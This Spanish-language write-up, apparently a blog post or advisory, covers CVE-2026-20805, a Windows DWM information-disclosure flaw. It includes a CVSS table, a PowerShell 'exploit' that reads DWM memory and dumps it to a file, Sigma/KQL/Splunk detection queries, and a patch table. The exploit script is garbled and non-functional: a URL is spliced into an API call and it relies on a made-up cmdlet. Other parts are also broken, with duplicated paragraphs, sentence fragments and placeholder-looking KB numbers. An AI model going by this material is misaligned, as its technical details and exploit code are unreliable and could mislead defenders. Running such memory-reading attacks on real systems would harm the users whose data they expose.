
CVE‑2026‑20805: Una falla del Administrador de ventanas de escritorio (DWM) de Windows que provoca la divulgación local de información. Requiere privilegios bajos, sin interacción del usuario. Clasificada con CVSS 5.5 (Media). Explotada activamente e incluida en la lista KEV de CISA; el parche se publicó en enero de 2026.
CVE‑2026‑20805: Una falla del Administrador de Ventanas de Escritorio (DWM) de Windows que provoca divulgación de información local. Requiere privilegios bajos, sin interacción del usuario. Clasificada con CVSS 5.5 (Media). Explotada activamente e incluida en el catálogo KEV de CISA; parche publicado en enero de 2026.
CVE 2026 20805 es una falla de divulgación de información en el Administrador de Ventanas de Escritorio (DWM) – el componente central que renderiza el escritorio, compone las ventanas y acelera la interfaz de usuario basada en GPU.
Por qué es importante: la falla permite que un atacante local con privilegios bajos lea datos que deberían estar restringidos a otras sesiones o procesos.
| Atributo | Valor |
|---|
| CWE‑200: Exposición de información sensible a un actor no autorizado | ✓ |
| Vector de ataque | Local |
| Privilegios requeridos | Bajos |
| Interacción del usuario | Ninguna |
| Impacto – confidencialidad | Alto |
| Impacto – integridad | Ninguno |
| Impacto – disponibilidad | Ninguno |
| Puntuación base CVSS 3.1 | 5.5 (Media) |
El DWM orquesta la memoria de la GPU, los búferes de ventanas y las superficies de interfaz de usuario entre procesos. Es un objetivo de alto valor porque agrega datos de múltiples procesos en un espacio compartido de GPU; una falla aquí puede filtrar credenciales o datos de sesión entre usuarios.
Rol del DWM en Windows moderno:
La vulnerabilidad explota la falta de verificación de límites en el índice del búfer de ventanas; esto permite a un atacante leer memoria adyacente de la GPU y obtener secretos almacenados por otros procesos.
Según la lista CPE del NVD, Windows 10.0.19041 (y derivados) están afectados.
A continuación se muestra un flujo de explotación conceptual:
CreateProcess con privilegios mínimos.# Windows 10.0.19041 – Exploit de lectura de búfer DWM
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000 # desplazamiento manipulado a memoria GPU adyacente
$targetWindow = 0x00030001 # índice de ventana objetivo
# Crear un búfer temporal en espacio de kernel
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/main/:CopyMemory(
$processHandle,
$bufferOffset,
$kernelBuffer,
0x1000)
# Copiar el búfer del kernel en la rutina de composición del DWM
Invoke-DwmRead -ProcessId $processHandle `
-WindowIndex $targetWindow `
-SrcAddress $bufferOffset `
-Size 0x1000
# Volcar los datos expuestos a un archivo local para análisis
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)
El script demuestra cómo un atacante puede aprovechar la memoria de GPU del DWM para leer datos ocultos.
La detección de CVE‑2026‑20805 se centra en identificar interacciones anormales con dwm.exe y telemetría inusual relacionada con la GPU. El exploit se basa en leer búferes de memoria respaldados por GPU utilizando desplazamientos manipulados, por lo que los defensores deben monitorear desviaciones del comportamiento normal del Administrador de Ventanas de Escritorio.
0x2B (DisplayUpdate)Estas fuentes proporcionan visibilidad sobre la creación de procesos, acceso a identificadores y actividad de actualización de GPU.
CreateProcess repetidos que involucran dwm.exe, especialmente cuando el proceso padre no es explorer.exe.DisplayUpdate (0x2B) de alta frecuencia seguidos de lecturas de memoria con tamaños o desplazamientos de búfer inusuales.
SrcAddress: 0x00120000Size: 0x1000HandleOpen dirigidos a dwm.exe y ráfagas de actividad ETW de GPU.title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
product: windows
service: system
detection:
selection:
EventID: 0x2B
ProcessName: dwm.exe
SrcAddress: 0x00120000
Size: 0x1000
condition: selection
falsepositives:
- High GPU rendering workloads
level: medium
tags:
- attack.defense-evasion
SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5
Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"
Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50
let handles = SecurityEvent
| where EventID == 4656 and ObjectName has "dwm.exe"
| project TimeGenerated, Account, Computer;
let gpu = Event
| where EventID == 0x2B
| project TimeGenerated, Computer;
handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)
index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5
index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User
index=windows EventCode=43
| timechart span=1m count
| where count > 50
handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;
gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;
handles
| join key gpu
| table Computer, handles._time, gpu._time
El aviso de Microsoft para CVE 2026 20805 incluye un parche que valida los índices de búfer en el DWM antes de copiar datos de GPU.
| Versión de Windows | Número de parche |
|---|---|
| 10.0.19041 | KB5000001 |
| 10.0.19042 | KB5012345 |
Invoke-DwmRead se ejecute sin errores en nodos de prueba.dwm.La divulgación de información a través del DWM a menudo se subestima porque puede exponer artefactos de interfaz de usuario y datos de sesión entre usuarios. La memoria de GPU filtrada puede respaldar el movimiento lateral, especialmente en entornos donde múltiples sesiones comparten una única estación de trabajo o servidor.
Alto impacto en confidencialidad: La falla permite a un atacante leer el contenido de ventanas de otras sesiones.
Puntuación CVSS media (5.5): Aunque el valor numérico es moderado, la importancia operativa es alta.
CVE 2026 20805 demuestra que una explotación local de bajo privilegio del DWM puede producir fugas de datos significativas. La inclusión de la falla en el Catálogo de Vulnerabilidades Explotadas Conocidas de CISA subraya su relevancia en el mundo real. Al aplicar la estrategia de mitigación, detección y parcheo descrita, una organización puede reducir el riesgo mientras mejora la visibilidad de los flujos de memoria de GPU.